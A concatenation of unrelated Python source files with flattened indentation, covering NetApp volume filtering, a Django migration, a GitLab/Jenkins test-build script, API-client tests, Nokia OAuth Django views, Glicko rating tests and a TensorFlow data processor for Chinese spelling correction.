b_specs = {}
for spec in bool_specs_list:
b_specs[spec] = na_utils.to_bool(specs.get(spec))\
if specs.get(spec) else None
def _spec_ineffect(b_specs, spec, opp_spec):
"""If the spec with opposite spec is ineffective."""
if ((b_specs[spec] is None and b_specs[opp_spec] is None)
or (b_specs[spec] == b_specs[opp_spec])):
return True
else:
return False
if _spec_ineffect(b_specs, 'netapp_mirrored', 'netapp_unmirrored'):
pass
else:
if b_specs['netapp_mirrored'] or b_specs['netapp_unmirrored'] is False:
result = result & ssc_vols['mirrored']
else:
result = result - ssc_vols['mirrored']
if _spec_ineffect(b_specs, 'netapp_dedup', 'netapp_nodedup'):
pass
else:
if b_specs['netapp_dedup'] or b_specs['netapp_nodedup'] is False:
result = result & ssc_vols['dedup']
else:
result = result - ssc_vols['dedup']
if _spec_ineffect(b_specs, 'netapp_compression', 'netapp_nocompression'):
pass
else:
if (b_specs['netapp_compression'] or
b_specs['netapp_nocompression'] is False):
result = result & ssc_vols['compression']
else:
result = result - ssc_vols['compression']
if _spec_ineffect(b_specs, 'netapp_thin_provisioned',
'netapp_thick_provisioned'):
pass
else:
if (b_specs['netapp_thin_provisioned'] or
b_specs['netapp_thick_provisioned'] is False):
result = result & ssc_vols['thin']
else:
result = result - ssc_vols['thin']
if raid_type or disk_type:
tmp = copy.deepcopy(result)
for vol in tmp:
if raid_type:
vol_raid = vol.aggr['raid_type']
vol_raid = vol_raid.lower() if vol_raid else None
if raid_type.lower() != vol_raid:
result.discard(vol)
if disk_type:
vol_dtype = vol.aggr['disk_type']
vol_dtype = vol_dtype.lower() if vol_dtype else None
if disk_type.lower() != vol_dtype:
result.discard(vol)
return result
@utils.trace_method
def check_ssc_api_permissions(client_cmode):
"""Checks backend SSC API permissions for the user."""
api_map = {'storage-disk-get-iter': ['netapp:disk_type'],
'snapmirror-get-iter': ['netapp_mirrored',
'netapp_unmirrored'],
'sis-get-iter': ['netapp_dedup', 'netapp_nodedup',
'netapp_compression',
'netapp_nocompression'],
'aggr-options-list-info': ['netapp:raid_type'],
'volume-get-iter': []}
failed_apis = client_cmode.check_apis_on_cluster(api_map.keys())
if failed_apis:
if 'volume-get-iter' in failed_apis:
msg = _("Fatal error: User not permitted"
" to query NetApp volumes.")
raise exception.VolumeBackendAPIException(data=msg)
else:
unsupp_ssc_features = []
for fail in failed_apis:
unsupp_ssc_features.extend(api_map[fail])
LOG.warning(_LW("The user does not have access or sufficient "
"privileges to use all netapp APIs. The "
"following extra_specs will fail or be ignored: "
"%s"), unsupp_ssc_features)
| python |
# -*- coding: utf-8 -*-
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('transmittals', '0047_auto_20160224_1220'),
]
operations = [
migrations.AlterField(
model_name='outgoingtransmittal',
name='latest_revision',
field=models.ForeignKey(verbose_name='Latest revision', to='transmittals.OutgoingTransmittalRevision', null=True),
),
migrations.AlterField(
model_name='transmittal',
name='latest_revision',
field=models.ForeignKey(verbose_name='Latest revision', to='transmittals.TransmittalRevision', null=True),
),
]
| python |
"""
一键编译测试版本的app给qa:
1、改库版本号为测试版本号
2、改app的库依赖为测试版本号依赖
3、编库
4、编app
"""
import json
import sys
from base import sb_nexus, sb_jenkins, sb_config, sb_gitlab
def _print_task(task):
print(f'apps: {str(task["apps"])}')
print(f'libs: {str(task["libs"])}')
print(f'branch: {task["branch"]}')
print(f'release_note: {task["release_note"]}')
print(f'rebuild_lib: {task["rebuild_lib"]}')
def get_lib_test_version(sb_nxs, libs, rebuild_lib):
"""
获取所有库的测试版本号(-test-username-version)
:param sb_nxs:
:param libs:
:param rebuild_lib: True-重新升版本号,编译。False-使用已有的包。
:return:
"""
print(f'get lib test version: {len(libs)}')
lib_version_dict = {}
for lib in libs:
lib_test_version = sb_nxs.get_next_lib_version(lib, rebuild_lib)
print(f' {lib} -> {lib_test_version}')
if lib_test_version is None:
print(f' get {lib} test version fail')
return None
lib_version_dict[lib] = lib_test_version
return lib_version_dict
def get_lib_test_version_1(sb_gtlb, sb_nxs, libs, rebuild_lib):
"""
获取所有库的测试版本号(-test-username-version)
:param sb_nxs:
:param libs:
:param rebuild_lib: True-重新升版本号,编译。False-使用已有的包。
:return:
"""
print(f'get lib test version: {len(libs)}')
lib_version_dict = {}
for lib in libs:
latest_version = sb_gtlb.get_lib_latest_version(lib)
next_version = _get_next_lib_version(latest_version)
all_versions = sb_nxs.get_all_lib_version(lib)
lib_test_version = _get_test_lib_version(next_version, all_versions, rebuild_lib)
print(f' {lib} -> {lib_test_version}')
if lib_test_version is None:
print(f' get {lib} test version fail')
return None
lib_version_dict[lib] = lib_test_version
return lib_version_dict
def update_lib_version(sb_gtlb, branch, lib_version_dict, rebuild_lib):
"""
在库的指定分支上更新版本号
:param sb_gtlb:
:param branch:
:param lib_version_dict:
:param rebuild_lib:
:return:
"""
print(f'update lib version: {len(lib_version_dict)}')
if rebuild_lib:
for lib, version in lib_version_dict.items():
r = sb_gtlb.update_lib_version(branch, lib, version)
print(f' {lib} -> {r}')
if not r:
print(f' update {lib} version fail')
return False
else:
print(f' not rebuild libs')
return True
def check_app_work_branch(sb_gtlb, apps, branch):
"""
检测app上面是否存在工作分支,不存在就创建
:param apps:
:param branch:
:return:
"""
print(f'check app work branch: {len(apps)}')
for app in apps:
exist = sb_gtlb.is_app_branch_exist(app, branch)
if exist:
print(f' {app} -> exist')
else:
create = sb_gtlb.create_app_branch(app, branch)
if create:
print(f' {app} -> create')
else:
print(f' create branch {branch} for {app} fail')
return False
return True
def update_app_dependencies(sb_gtlb, apps, branch, lib_version_dict):
"""
在app的工作分支上更新库的版本号为测试版本号
:param sb_gtlb:
:param apps:
:return:
"""
print(f'update app dependencies: {len(apps)}')
for app in apps:
r = sb_gtlb.update_app_dependencies_without_force(branch, app, lib_version_dict)
print(f' {app} -> {r}')
if not r:
print(f' update {app} dependencies fail')
return False
return True
def build_test_lib(sb_jks, libs, rebuild_lib, branch, release_note):
"""
编译测试的库
:param sb_jks:
:param libs:
:param rebuild_lib:
:param branch:
:param release_note:
:return:
"""
print(f'build test lib: {len(libs)}')
if rebuild_lib:
for lib in libs:
r = sb_jks.build_test_lib(lib, branch, release_note)
print(f' {lib} -> {r}')
if not r:
print(f' build {lib} fail')
return False
else:
print(f' not rebuild libs')
return True
def build_test_app(sb_jks, apps, branch, release_note):
"""
编译测试app
:return:
"""
print(f'build test app: {len(apps)}')
for app in apps:
r = sb_jks.build_test_app(app, branch, release_note)
print(f' {app} -> {r}')
if not r:
print(f' build {app} fail')
return False
return True
def _get_next_lib_version(current_version):
"""
获取该版本号下一个版本号,3位4位分开处理
:param current_version:
:return:
"""
seg = current_version.split('.')
ver_len = len(seg)
if ver_len == 4:
idx = ver_len - 2
new_v = int(seg[idx]) + 1
seg[idx] = str(new_v)
return '.'.join(seg)
elif ver_len == 3:
idx = ver_len - 1
new_v = int(seg[idx]) + 1
seg[idx] = str(new_v)
return '.'.join(seg)
else:
raise Exception(f'库版本号不是3位或4位,{current_version}')
def _get_test_lib_version(next_version, all_version_list, rebuild_lib):
if next_version in all_version_list:
raise Exception(f'下一个版本号 {next_version} 已经发过版本,出错了。')
test_versions = []
test_version_prefix = next_version + '-test-hjf'
for v in all_version_list:
if test_version_prefix in v:
test_versions.append(v)
if test_versions:
def sort_key(e):
seg = e.split('-')
return int(seg[len(seg) - 1])
test_versions.sort(key=sort_key, reverse=True)
newest_test_version = test_versions[0]
if not rebuild_lib:
return newest_test_version
seg = newest_test_version.split('-')
seg[len(seg) - 1] = str(int(seg[len(seg) - 1]) + 1)
return '-'.join(seg)
else:
if not rebuild_lib:
raise Exception('没有可用的测试版本,必须要重新编译')
return test_version_prefix + '-1'
def main():
task_file = sys.argv[1]
task = json.load(open(task_file))
# rebuild_lib deprecated, always True
task["rebuild_lib"] = True
_print_task(task)
execute = input('确认参数正确,继续执行?(y/n)')
if execute != 'y':
return 1
apps = task['apps']
libs = task['libs']
branch = task['branch']
release_note = task['release_note']
rebuild_lib = task['rebuild_lib']
sb_cfg = sb_config.SBConfig()
sb_nxs = sb_nexus.SBNexus(sb_cfg)
sb_gtlb = sb_gitlab.SBGitlab(sb_cfg)
sb_jks = sb_jenkins.SBJenkins(sb_cfg)
lib_version_dict = get_lib_test_version_1(sb_gtlb, sb_nxs, libs, rebuild_lib)
if not lib_version_dict:
return 2
ulv = update_lib_version(sb_gtlb, branch, lib_version_dict, rebuild_lib)
if not ulv:
return 3
cawb = check_app_work_branch(sb_gtlb, apps, branch)
if not cawb:
return 4
uad = update_app_dependencies(sb_gtlb, apps, branch, lib_version_dict)
if not uad:
return 5
btl = build_test_lib(sb_jks, lib_version_dict, rebuild_lib, branch, release_note)
if not btl:
return 6
bta = build_test_app(sb_jks, apps, branch, release_note)
if not bta:
return 7
return 0
if __name__ == '__main__':
main()
| python |
from typing import Any
from unittest.mock import MagicMock, patch
import pytest
from operatorcert import pyxis
from requests import HTTPError, Response
def test_is_internal(monkeypatch: Any) -> None:
assert not pyxis.is_internal()
monkeypatch.setenv("PYXIS_CERT_PATH", "/path/to/cert.pem")
monkeypatch.setenv("PYXIS_KEY_PATH", "/path/to/key.key")
assert pyxis.is_internal()
def test_get_session_api_key(monkeypatch: Any) -> None:
monkeypatch.setenv("PYXIS_API_KEY", "123")
session = pyxis._get_session()
assert session.headers["X-API-KEY"] == "123"
def test_get_session_cert(monkeypatch: Any) -> None:
monkeypatch.setenv("PYXIS_CERT_PATH", "/path/to/cert.pem")
monkeypatch.setenv("PYXIS_KEY_PATH", "/path/to/key.key")
session = pyxis._get_session()
assert session.cert == ("/path/to/cert.pem", "/path/to/key.key")
def test_get_session_no_auth(monkeypatch: Any) -> None:
with pytest.raises(Exception):
pyxis._get_session()
@patch("operatorcert.pyxis._get_session")
def test_post(mock_session: MagicMock) -> None:
mock_session.return_value.post.return_value.json.return_value = {"key": "val"}
resp = pyxis.post("https://foo.com/v1/bar", {})
assert resp == {"key": "val"}
@patch("operatorcert.pyxis._get_session")
def test_patch(mock_session: MagicMock) -> None:
mock_session.return_value.patch.return_value.json.return_value = {"key": "val"}
resp = pyxis.patch("https://foo.com/v1/bar", {})
assert resp == {"key": "val"}
@patch("operatorcert.pyxis._get_session")
def test_patch_error(mock_session: MagicMock) -> None:
response = Response()
response.status_code = 400
mock_session.return_value.patch.return_value.raise_for_status.side_effect = (
HTTPError(response=response)
)
with pytest.raises(HTTPError):
pyxis.patch("https://foo.com/v1/bar", {})
@patch("operatorcert.pyxis._get_session")
def test_put(mock_session: MagicMock) -> None:
mock_session.return_value.put.return_value.json.return_value = {"key": "val"}
resp = pyxis.put("https://foo.com/v1/bar", {})
assert resp == {"key": "val"}
@patch("operatorcert.pyxis._get_session")
def test_put_error(mock_session: MagicMock) -> None:
response = Response()
response.status_code = 400
mock_session.return_value.put.return_value.raise_for_status.side_effect = HTTPError(
response=response
)
with pytest.raises(HTTPError):
pyxis.put("https://foo.com/v1/bar", {})
@patch("operatorcert.pyxis._get_session")
def test_get(mock_session: MagicMock) -> None:
mock_session.return_value.get.return_value = {"key": "val"}
resp = pyxis.get("https://foo.com/v1/bar")
assert resp == {"key": "val"}
@patch("operatorcert.pyxis._get_session")
def test_post_error(mock_session: MagicMock) -> None:
response = Response()
response.status_code = 400
mock_session.return_value.post.return_value.raise_for_status.side_effect = (
HTTPError(response=response)
)
with pytest.raises(HTTPError):
pyxis.post("https://foo.com/v1/bar", {})
@patch("operatorcert.pyxis._get_session")
def test_get_project(mock_session: MagicMock) -> None:
mock_session.return_value.get.return_value.json.return_value = {"key": "val"}
resp = pyxis.get_project("https://foo.com/v1", "123")
assert resp == {"key": "val"}
@patch("operatorcert.pyxis._get_session")
def test_get_project_error(mock_session: MagicMock) -> None:
response = Response()
response.status_code = 400
mock_session.return_value.get.return_value.raise_for_status.side_effect = HTTPError(
response=response
)
with pytest.raises(HTTPError):
pyxis.get_project("https://foo.com/v1", "123")
@patch("operatorcert.pyxis._get_session")
def test_get_vendor_by_org_id(mock_session: MagicMock) -> None:
mock_session.return_value.get.return_value.json.return_value = {"key": "val"}
resp = pyxis.get_vendor_by_org_id("https://foo.com/v1", "123")
assert resp == {"key": "val"}
@patch("operatorcert.pyxis._get_session")
def test_get_vendor_by_org_id_error(mock_session: MagicMock) -> None:
response = Response()
response.status_code = 400
mock_session.return_value.get.return_value.raise_for_status.side_effect = HTTPError(
response=response
)
with pytest.raises(HTTPError):
pyxis.get_vendor_by_org_id("https://foo.com/v1", "123")
@patch("operatorcert.pyxis._get_session")
def test_get_repository_by_isv_pid(mock_session: MagicMock) -> None:
mock_session.return_value.get.return_value.json.return_value = {
"data": [{"key": "val"}]
}
resp = pyxis.get_repository_by_isv_pid("https://foo.com/v1", "123")
assert resp == {"key": "val"}
@patch("operatorcert.pyxis._get_session")
def test_get_repository_by_isv_pid_error(mock_session: MagicMock) -> None:
response = Response()
response.status_code = 400
mock_session.return_value.get.return_value.raise_for_status.side_effect = HTTPError(
response=response
)
with pytest.raises(HTTPError):
pyxis.get_repository_by_isv_pid("https://foo.com/v1", "123")
| python |
from pybuilder.core import use_plugin, init
use_plugin("python.core")
use_plugin("python.unittest")
default_task = "publish"
@init
def initialize(project):
project.version = "0.1.0.SNAPSHOT"
| python |
from drpg.sync import DrpgSync
__all__ = ["DrpgSync"]
__version__ = "2021.11.0"
| python |
import logging
from django.contrib.auth.decorators import login_required
from django.contrib.auth.signals import user_logged_in
from django.core.urlresolvers import reverse
from django.dispatch import receiver
from django.http import HttpResponse, Http404
from django.shortcuts import redirect, render
from django.utils import timezone
from django.views.decorators.csrf import csrf_exempt
from . import utils
from .models import NokiaUser, MeasureGroup
try:
from django.urls import NoReverseMatch
except ImportError:
# Fallback for older Djangos
from django.core.urlresolvers import NoReverseMatch
logger = logging.getLogger(__name__)
@login_required
def login(request):
"""
Begins the OAuth authentication process by obtaining a Request Token from
Nokia and redirecting the user to the Nokia site for authorization.
When the user has finished at the Nokia site, they will be redirected
to the :py:func:`nokiaapp.views.complete` view.
If 'next' is provided in the GET data, it is saved in the session so the
:py:func:`nokiaapp.views.complete` view can redirect the user to that
URL upon successful authentication.
URL name:
`nokia-login`
"""
next_url = request.GET.get('next', None)
if next_url:
request.session['nokia_next'] = next_url
else:
request.session.pop('nokia_next', None)
callback_uri = request.build_absolute_uri(reverse('nokia-complete'))
auth = utils.create_nokia_auth(callback_uri)
auth_url = auth.get_authorize_url()
return redirect(auth_url)
@login_required
def complete(request):
"""
After the user authorizes us, Nokia sends a callback to this URL to
complete authentication.
If there was an error, the user is redirected again to the `error` view.
If the authorization was successful, the credentials are stored for us to
use later, and the user is redirected. If 'next_url' is in the request
session, the user is redirected to that URL. Otherwise, they are
redirected to the URL specified by the setting
:ref:`NOKIA_LOGIN_REDIRECT`.
If :ref:`NOKIA_SUBSCRIBE` is set to True, add a subscription to user
data at this time.
URL name:
`nokia-complete`
"""
callback_uri = request.build_absolute_uri(reverse('nokia-complete'))
auth = utils.create_nokia_auth(callback_uri)
try:
code = request.GET.get('code')
except KeyError:
return redirect(reverse('nokia-error'))
if not code:
return redirect(reverse('nokia-error'))
try:
creds = auth.get_credentials(code)
except:
return redirect(reverse('nokia-error'))
user_updates = {
'access_token': creds.access_token,
'token_expiry': creds.token_expiry,
'token_type': creds.token_type,
'refresh_token': creds.refresh_token,
'nokia_user_id': creds.user_id,
'last_update': timezone.now(),
}
nokia_user = NokiaUser.objects.filter(user=request.user)
if nokia_user.exists():
nokia_user.update(**user_updates)
nokia_user = nokia_user[0]
else:
user_updates['user'] = request.user
nokia_user = NokiaUser.objects.create(**user_updates)
# Add the Nokia user info to the session
api = utils.create_nokia(**nokia_user.get_user_data())
request.session['nokia_profile'] = api.get_user()
MeasureGroup.create_from_measures(request.user, api.get_measures())
if utils.get_setting('NOKIA_SUBSCRIBE'):
for appli in [1, 4]:
notification_url = request.build_absolute_uri(
reverse('nokia-notification', kwargs={'appli': appli}))
api.subscribe(notification_url, 'django-nokia', appli=appli)
next_url = request.session.pop('nokia_next', None) or utils.get_setting(
'NOKIA_LOGIN_REDIRECT')
return redirect(next_url)
@receiver(user_logged_in)
def create_nokia_session(sender, request, user, **kwargs):
""" If the user is a Nokia user, update the profile in the session. """
if (user.is_authenticated() and utils.is_integrated(user) and
user.is_active):
nokia_user = NokiaUser.objects.filter(user=user)
if nokia_user.exists():
api = utils.create_nokia(**nokia_user[0].get_user_data())
try:
request.session['nokia_profile'] = api.get_user()
except:
pass
@login_required
def error(request):
"""
The user is redirected to this view if we encounter an error acquiring
their Nokia credentials. It renders the template defined in the setting
:ref:`NOKIA_ERROR_TEMPLATE`. The default template, located at
*nokia/error.html*, simply informs the user of the error::
<html>
<head>
<title>Nokia Authentication Error</title>
</head>
<body>
<h1>Nokia Authentication Error</h1>
<p>We encontered an error while attempting to authenticate you
through Nokia.</p>
</body>
</html>
URL name:
`nokia-error`
"""
return render(request, utils.get_setting('NOKIA_ERROR_TEMPLATE'), {})
@login_required
def logout(request):
"""Forget this user's Nokia credentials.
If the request has a `next` parameter, the user is redirected to that URL.
Otherwise, they're redirected to the URL defined in the setting
:ref:`NOKIA_LOGOUT_REDIRECT`.
URL name:
`nokia-logout`
"""
nokia_user = NokiaUser.objects.filter(user=request.user)
urls = []
for appli in [1, 4]:
for app in ['nokia', 'withings']:
try:
urls.append(request.build_absolute_uri(reverse(
'{}-notification'.format(app),
kwargs={'appli': appli}
)))
except NoReverseMatch:
# The library user does not have the legacy withings URLs
pass
if nokia_user.exists() and utils.get_setting('NOKIA_SUBSCRIBE'):
try:
api = utils.create_nokia(**nokia_user[0].get_user_data())
subs = api.list_subscriptions()
for sub in subs:
if sub['callbackurl'] in urls:
api.unsubscribe(sub['callbackurl'], appli=sub['appli'])
except:
return redirect(reverse('nokia-error'))
nokia_user.delete()
next_url = request.GET.get('next', None) or utils.get_setting(
'NOKIA_LOGOUT_REDIRECT')
return redirect(next_url)
@csrf_exempt
def notification(request, appli):
""" Receive notification from Nokia.
More information here:
https://developer.health.nokia.com/api/doc#api-Notification-Notification_callback
URL name:
`nokia-notification`
"""
if request.method == 'HEAD':
return HttpResponse()
# The updates come in as a POST request with the necessary data
uid = request.POST.get('userid')
if uid and request.method == 'POST':
for user in NokiaUser.objects.filter(nokia_user_id=uid):
kwargs = {}
if user.last_update:
kwargs['lastupdate'] = user.last_update
try:
measures = utils.get_nokia_data(user, **kwargs)
except Exception:
logger.exception("Error getting nokia user measures")
else:
MeasureGroup.create_from_measures(user.user, measures)
user.last_update = timezone.now()
user.save()
return HttpResponse(status=204)
# If GET request or POST with bad data, raise a 404
raise Http404
| python |
import unittest
from skills import (
Match,
Matches,
Team,
)
from skills.glicko import (
GlickoCalculator,
GlickoGameInfo
)
class CalculatorTests(object):
ERROR_TOLERANCE_RATING = 0.085
ERROR_TOLERANCE_MATCH_QUALITY = 0.0005
def assertAlmostEqual(self, first, second, places, msg, delta):
raise NotImplementedError
def assertRating(self, expected_mean, expected_stdev, actual):
self.assertAlmostEqual(expected_mean, actual.mean, None,
"expected mean of %.14f, got %.14f" % (expected_mean, actual.mean),
CalculatorTests.ERROR_TOLERANCE_RATING)
self.assertAlmostEqual(expected_stdev, actual.stdev, None,
"expected stdev of %.14f, got %.14f" % (expected_stdev, actual.stdev),
CalculatorTests.ERROR_TOLERANCE_RATING)
def assertMatchQuality(self, expected_match_quality, actual_match_quality):
# self.assertEqual(expected_match_quality, actual_match_quality, "expected match quality of %f, got %f" % (expected_match_quality, actual_match_quality))
self.assertAlmostEqual(expected_match_quality, actual_match_quality, None,
"expected match quality of %.15f, got %.15f" % (expected_match_quality, actual_match_quality),
CalculatorTests.ERROR_TOLERANCE_MATCH_QUALITY)
class GlickoTests(unittest.TestCase, CalculatorTests):
def setUp(self):
self.calculator = GlickoCalculator()
def test_one_on_one(self):
game_info = GlickoGameInfo()
player1 = Team({1: (1500, 200)})
player2 = Team({2: (1400, 30)})
player3 = Team({3: (1550, 100)})
player4 = Team({4: (1700, 300)})
matches = Matches([Match([player1, player2], [1, 2]),
Match([player1, player3], [2, 1]),
Match([player1, player4], [2, 1])])
new_ratings = self.calculator.new_ratings(matches, 1, game_info)
# self.assertMatchQuality(1.0, self.calculator.calculate_match_quality(matches, game_info))
self.assertRating(1464.1, 151.4, new_ratings.rating_by_id(1))
if __name__ == "__main__":
unittest.main()
| python |
#! /bin/python
__author__ = "glender"
__copyright__ = "Copyright (c) 2018 glender"
__credits__ = [ "glender" ]
__license__ = "MIT"
__version__ = "0.1"
__maintainer__ = "glender"
__email__ = "None"
__status__ = "Production"
DEBUG = False
alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
message = ("6340 8309 14010")
for i in message.split():
import numpy as np
import math
i = int(i)
# We need to solve the following system of equations
eq1 = "-26/676 * y - 1/676 * z + 1/676 * " + str(i)
eq2 = "-676 / 26 * x - 1/26 * z + 1/26 * " + str(i)
eq3 = "-676 * x - 26 * y + " + str(i)
if DEBUG:
print "Solving the following system of equations:"
print eq1
print eq2
print eq3
# Define x,y,z for our solution
x = 1
y = 1
z = 1
# Setup our np arrays to solve for x
a = np.array( [ [-1 * x, -26/676 * y, -1/676 * z], [-676/26 * x, -1 * y, -1/26 * z], [-676 * x, -26 * y, -1 * z] ])
b = np.array( [(-1 * i)/676, (-1 * i)/26, -1 * i] )
ans = np.linalg.solve(a,b)
x = math.floor(ans[0])
# Setup our np arrays to solve for y
a = np.array( [ [-1 * y, -1/26 * z], [-26 * y, -1 * z] ])
b = np.array( [(-1 * i)/26 + ((676/26) * x), (-1 * i) + (676 * x)] )
ans = np.linalg.solve(a,b)
y = math.floor(ans[0])
# Solve for z since we know x and y already
z = -676 * x - 26 * y + float(i)
print alphabet[int(x)] + alphabet[int(y)] + alphabet[int(z)]
| python |
from __future__ import print_function
import sys
import os
import sysconfig
import filecmp
def diff_q(first_file, second_file):
"""Simulate call to POSIX diff with -q argument"""
if not filecmp.cmp(first_file, second_file, shallow=False):
print("Files %s and %s differ" % (first_file, second_file),
file=sys.stderr)
return 1
return 0
PYTHON = sys.executable or "python"
# 'bro.py' script should be in parent directory
BRO = os.path.abspath("../bro.py")
# get platform- and version-specific build/lib folder
platform_lib_name = "lib.{platform}-{version[0]}.{version[1]}".format(
platform=sysconfig.get_platform(),
version=sys.version_info)
# by default, distutils' build base is in the same location as setup.py
build_base = os.path.abspath(os.path.join("..", "..", "bin"))
build_lib = os.path.join(build_base, platform_lib_name)
# prepend build/lib to PYTHONPATH environment variable
TEST_ENV = os.environ.copy()
if 'PYTHONPATH' not in TEST_ENV:
TEST_ENV['PYTHONPATH'] = build_lib
else:
TEST_ENV['PYTHONPATH'] = build_lib + os.pathsep + TEST_ENV['PYTHONPATH']
| python |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import os
import random
from collections import namedtuple
import re
import numpy as np
import tensorflow as tf
import csv
import tokenization
from mask import Mask, PinyinConfusionSet, StrokeConfusionSet
DEBUG = False
InputExample = namedtuple('InputExample', ['tokens', 'labels', 'domain'])
InputFeatures = namedtuple('InputFeature', ['input_ids', 'input_mask', 'segment_ids', 'lmask', 'label_ids'])
def get_tfrecord_num(tf_file):
num = 0
for record in tf.python_io.tf_record_iterator(tf_file):
num += 1
return num
class DataProcessor:
'''
data format:
sent1\tsent2
'''
def __init__(self, input_path, max_sen_len, vocab_file, out_dir, label_list=None, is_training=True):
self.input_path = input_path
self.max_sen_len = max_sen_len
self.is_training = is_training
self.dataset = None
self.out_dir = out_dir
self.tokenizer = tokenization.FullTokenizer(vocab_file=vocab_file, do_lower_case=False)
self.label_list = label_list
if label_list is not None:
self.label_map = {}
for (i, label) in enumerate(self.label_list):
self.label_map[label] = i
else:
self.label_map = self.tokenizer.vocab
self.label_list = {}
for key in self.tokenizer.vocab:
self.label_list[self.tokenizer.vocab[key]] = key
same_py_file = './datas/confusions/same_pinyin.txt'
simi_py_file = './datas/confusions/simi_pinyin.txt'
stroke_file = './datas/confusions/same_stroke.txt'
tokenizer = self.tokenizer
pinyin = PinyinConfusionSet(tokenizer, same_py_file)
jinyin = PinyinConfusionSet(tokenizer, simi_py_file)
stroke = StrokeConfusionSet(tokenizer, stroke_file)
self.masker = Mask(same_py_confusion=pinyin, simi_py_confusion=jinyin, sk_confusion=stroke)
if input_path is not None:
if is_training is True:
self.tfrecord_path = os.path.join(self.out_dir, "train.tf_record")
else:
if 'multierror' in self.input_path:
self.tfrecord_path = os.path.join(self.out_dir, "eval_merr.tf_record")
else:
self.tfrecord_path = os.path.join(self.out_dir, "eval.tf_record")
#os.remove(self.tfrecord_path)
if os.path.exists(self.tfrecord_path) is False:
self.file2features()
else:
self.num_examples = get_tfrecord_num(self.tfrecord_path)
def sample(self, text_unicode1, text_unicode2, domain=None):
segs1 = text_unicode1.strip().split(' ')
segs2 = text_unicode2.strip().split(' ')
tokens, labels = [], []
if len(segs1) != len(segs2):
return None
for x, y in zip(segs1, segs2):
tokens.append(x)
labels.append(y)
if len(tokens) < 2: return None
return InputExample(tokens=tokens, labels=labels, domain=domain)
def load_examples(self):
'''sent1 \t sent2'''
train_data = open(self.input_path, encoding="utf-8")
instances = []
n_line = 0
for ins in train_data:
n_line += 1
if (DEBUG is True) and (n_line > 1000):
break
#ins = ins.decode('utf8')
tmps = ins.strip().split('\t')
if len(tmps) < 2:
continue
ins = self.sample(tmps[0], tmps[1])
if ins is not None:
yield ins
#instances.append(ins)
def convert_single_example(self, ex_index, example):
label_map = self.label_map
tokens = example.tokens
labels = example.labels
domain = example.domain
seg_value = 0
# Account for [CLS] and [SEP] with "- 2"
if len(tokens) > self.max_sen_len - 2:
tokens = tokens[0:(self.max_sen_len - 2)]
labels = labels[0:(self.max_sen_len - 2)]
_tokens = []
_labels = []
_lmask = []
segment_ids = []
_tokens.append("[CLS]")
_lmask.append(0)
_labels.append("[CLS]")
segment_ids.append(seg_value)
for token, label in zip(tokens, labels):
_tokens.append(token)
_labels.append(label)
_lmask.append(1)
segment_ids.append(seg_value)
_tokens.append("[SEP]")
segment_ids.append(seg_value)
_labels.append("[SEP]")
_lmask.append(0)
input_ids = self.tokenizer.convert_tokens_to_ids(_tokens)
label_ids = self.tokenizer.convert_tokens_to_ids(_labels)
# The mask has 1 for real tokens and 0 for padding tokens. Only real
# tokens are attended to.
input_mask = [1] * len(input_ids)
# Zero-pad up to the sequence length.
while len(input_ids) < self.max_sen_len:
input_ids.append(0)
input_mask.append(0)
segment_ids.append(0)
label_ids.append(0)
_lmask.append(0)
assert len(input_ids) == self.max_sen_len
assert len(input_mask) == self.max_sen_len
assert len(segment_ids) == self.max_sen_len
if ex_index < 3:
tf.logging.info("*** Example ***")
tf.logging.info("tokens: %s" % " ".join(
[tokenization.printable_text(x) for x in _tokens]))
tf.logging.info("input_ids: %s" % " ".join([str(x) for x in input_ids]))
tf.logging.info("input_mask: %s" % " ".join([str(x) for x in input_mask]))
tf.logging.info("segment_ids: %s" % " ".join([str(x) for x in segment_ids]))
tf.logging.info("labels: %s" % " ".join(_labels))
tf.logging.info("labelids: %s" % " ".join(map(str, label_ids)))
tf.logging.info("lmask: %s" % " ".join(map(str, _lmask)))
feature = InputFeatures(
input_ids=input_ids,
input_mask=input_mask,
segment_ids=segment_ids,
lmask=_lmask,
label_ids=label_ids
)
return feature
def get_label_list(self):
return self.label_list
def file2features(self):
output_file = self.tfrecord_path
if os.path.exists(output_file):
os.remove(output_file)
examples = self.load_examples()
writer = tf.python_io.TFRecordWriter(output_file)
for (ex_index, example) in enumerate(examples):
if ex_index % 10000 == 0:
print("Writing example %d" % ex_index)
feature = self.convert_single_example(ex_index, example)
create_int_feature = lambda values: tf.train.Feature(int64_list=tf.train.Int64List(value=list(values)))
features = collections.OrderedDict()
features["input_ids"] = create_int_feature(feature.input_ids)
features["input_mask"] = create_int_feature(feature.input_mask)
features["segment_ids"] = create_int_feature(feature.segment_ids)
features["lmask"] = create_int_feature(feature.lmask)
features["label_ids"] = create_int_feature(feature.label_ids)
tf_example = tf.train.Example(features=tf.train.Features(feature=features))
writer.write(tf_example.SerializeToString())
self.num_examples = ex_index
def build_data_generator(self, batch_size):
def _decode_record(record):
"""Decodes a record to a TensorFlow example."""
name_to_features = {
"input_ids": tf.FixedLenFeature([self.max_sen_len], tf.int64),
"input_mask": tf.FixedLenFeature([self.max_sen_len], tf.int64),
"segment_ids": tf.FixedLenFeature([self.max_sen_len], tf.int64),
"lmask": tf.FixedLenFeature([self.max_sen_len], tf.int64),
"label_ids": tf.FixedLenFeature([self.max_sen_len], tf.int64),
}
example = tf.parse_single_example(record, name_to_features)
#int64 to int32
for name in list(example.keys()):
t = example[name]
if t.dtype == tf.int64:
t = tf.to_int32(t)
example[name] = t
input_ids = example['input_ids']
input_mask = example['input_mask']
segment_ids = example['segment_ids']
label_ids = example['label_ids']
lmask = example['lmask']
if self.is_training is True:
#if str(self.is_training) == 'xx' :
masked_sample = tf.py_func(self.masker.mask_process, [input_ids, label_ids], [tf.int32])
masked_sample = tf.reshape(masked_sample, [self.max_sen_len])
lmask = tf.reshape(lmask, [self.max_sen_len])
else:
masked_sample = input_ids
return input_ids, input_mask, segment_ids, lmask, label_ids, masked_sample
if self.dataset is not None:
return self.dataset
dataset = tf.data.TFRecordDataset(self.tfrecord_path)
dataset = dataset.map(_decode_record, num_parallel_calls=10)
if self.is_training:
dataset = dataset.repeat().shuffle(buffer_size=100)
dataset = dataset.batch(batch_size).prefetch(50)
self.dataset = dataset
return dataset
def get_feature(self, u_input, u_output=None):
if u_output is None:
u_output = u_input
instance = self.sample(u_input, u_output)
feature = self.convert_single_example(0, instance)
input_ids = feature.input_ids
input_mask = feature.input_mask
segment_ids = feature.segment_ids
label_ids = feature.label_ids
